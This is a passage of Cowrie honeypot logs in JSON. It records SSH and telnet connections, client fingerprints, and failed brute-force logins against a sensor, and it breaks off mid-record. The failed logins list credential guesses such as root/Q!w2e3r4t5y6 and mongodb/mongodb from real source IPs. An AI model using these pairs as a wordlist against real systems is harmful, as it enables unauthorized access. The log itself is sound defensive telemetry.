{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:10.426735Z","src_ip":"103.24.63.85","session":"d252317d86a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.732417583465576,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:10.881472Z","src_ip":"192.119.13.58","session":"8702fa98d81e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:11.186849Z","src_ip":"103.24.63.85","session":"d252317d86a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:12.387920Z","src_ip":"103.24.63.85","session":"d252317d86a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36318,"dst_ip":"10.17.0.5","dst_port":23,"session":"566635abb3c0","protocol":"telnet","message":"New connection: 192.119.13.58:36318 (10.17.0.5:23) [session: 566635abb3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:14.832293Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55104,"dst_ip":"10.17.0.5","dst_port":22,"session":"02e27cae5148","protocol":"ssh","message":"New connection: 103.172.78.219:55104 (10.17.0.5:22) [session: 02e27cae5148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:14.890103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:14.895578Z","src_ip":"103.172.78.219","session":"02e27cae5148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:15.153839Z","src_ip":"103.172.78.219","session":"02e27cae5148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yuliya","message":"login attempt [root/yuliya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:15.931005Z","src_ip":"103.172.78.219","session":"02e27cae5148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:17.191769Z","src_ip":"103.172.78.219","session":"02e27cae5148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177431106567,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:17.434823Z","src_ip":"129.224.215.245","session":"2d6c90eee003","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.99511218070984,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:18.988396Z","src_ip":"192.119.13.58","session":"78b430db310e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58794,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e520c33f0d6","protocol":"telnet","message":"New connection: 192.119.13.58:58794 (10.17.0.5:23) [session: 7e520c33f0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:19.955574Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59760,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ab0089ab48","protocol":"telnet","message":"New connection: 192.119.13.58:59760 (10.17.0.5:23) [session: f6ab0089ab48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:20.281197Z"}
{"eventid":"cowrie.session.closed","duration":35.56527090072632,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:22.050212Z","src_ip":"192.119.13.58","session":"fe8ab3241665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.60347557067871,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:22.685723Z","src_ip":"192.119.13.58","session":"bd2c8f04d2be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.26017451286316,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:24.956836Z","src_ip":"186.195.16.41","session":"38d4f8d4d028","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.028072357177734,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:30.340381Z","src_ip":"192.119.13.58","session":"9cb16f84c570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48920,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf7594fe3df3","protocol":"telnet","message":"New connection: 192.119.13.58:48920 (10.17.0.5:23) [session: bf7594fe3df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:33.353388Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35368,"dst_ip":"10.17.0.5","dst_port":23,"session":"20c69dab9fde","protocol":"telnet","message":"New connection: 192.119.13.58:35368 (10.17.0.5:23) [session: 20c69dab9fde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:36.639434Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.7.148","src_port":33024,"dst_ip":"159.203.135.109","dst_port":22,"session":"44395a9035eb","protocol":"ssh","message":"New connection: 43.153.7.148:33024 (159.203.135.109:22) [session: 44395a9035eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:37.685220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:37.690739Z","src_ip":"43.153.7.148","session":"44395a9035eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:37.760389Z","src_ip":"43.153.7.148","session":"44395a9035eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q!w2e3r4t5y6","message":"login attempt [root/Q!w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:38.070311Z","src_ip":"43.153.7.148","session":"44395a9035eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:39.144101Z","src_ip":"43.153.7.148","session":"44395a9035eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":16728,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f8af9cd9759","protocol":"ssh","message":"New connection: 103.24.63.85:16728 (159.203.135.109:22) [session: 5f8af9cd9759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:42.950227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:43.128740Z","src_ip":"103.24.63.85","session":"5f8af9cd9759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:43.355888Z","src_ip":"103.24.63.85","session":"5f8af9cd9759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:44.032619Z","src_ip":"103.24.63.85","session":"5f8af9cd9759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:45.348931Z","src_ip":"103.24.63.85","session":"5f8af9cd9759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60052,"dst_ip":"159.203.135.109","dst_port":22,"session":"22c0cc5d67c3","protocol":"ssh","message":"New connection: 62.133.62.83:60052 (159.203.135.109:22) [session: 22c0cc5d67c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:54.325108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:54.330597Z","src_ip":"62.133.62.83","session":"22c0cc5d67c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:54.410543Z","src_ip":"62.133.62.83","session":"22c0cc5d67c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"masyanya","message":"login attempt [root/masyanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:54.670490Z","src_ip":"62.133.62.83","session":"22c0cc5d67c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:55.753479Z","src_ip":"62.133.62.83","session":"22c0cc5d67c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.94882273674011,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:42:55.904271Z","src_ip":"192.119.13.58","session":"7e520c33f0d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":46808,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a159aba948b","protocol":"ssh","message":"New connection: 14.224.227.189:46808 (159.203.135.109:22) [session: 5a159aba948b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:04.476451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:04.481600Z","src_ip":"14.224.227.189","session":"5a159aba948b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:04.718981Z","src_ip":"14.224.227.189","session":"5a159aba948b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48404,"dst_ip":"10.17.0.5","dst_port":23,"session":"e59cfc0fa58d","protocol":"telnet","message":"New connection: 192.119.13.58:48404 (10.17.0.5:23) [session: e59cfc0fa58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:05.334010Z"}
{"eventid":"cowrie.login.failed","username":"paolo","password":"paolo","message":"login attempt [paolo/paolo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:05.698452Z","src_ip":"14.224.227.189","session":"5a159aba948b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:06.938113Z","src_ip":"14.224.227.189","session":"5a159aba948b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84864783287048,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:07.201920Z","src_ip":"192.119.13.58","session":"bf7594fe3df3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.240281105041504,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:07.521377Z","src_ip":"192.119.13.58","session":"f6ab0089ab48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.55410647392273,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:08.386244Z","src_ip":"192.119.13.58","session":"566635abb3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.81339931488037,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:13.452716Z","src_ip":"192.119.13.58","session":"20c69dab9fde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40488,"dst_ip":"10.17.0.5","dst_port":23,"session":"742d68fef0f1","protocol":"telnet","message":"New connection: 192.119.13.58:40488 (10.17.0.5:23) [session: 742d68fef0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:15.903487Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":47152,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cdbc7e17594","protocol":"ssh","message":"New connection: 185.236.22.41:47152 (10.17.0.5:22) [session: 8cdbc7e17594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:18.469471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:43:18.485014Z","src_ip":"185.236.22.41","session":"8cdbc7e17594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 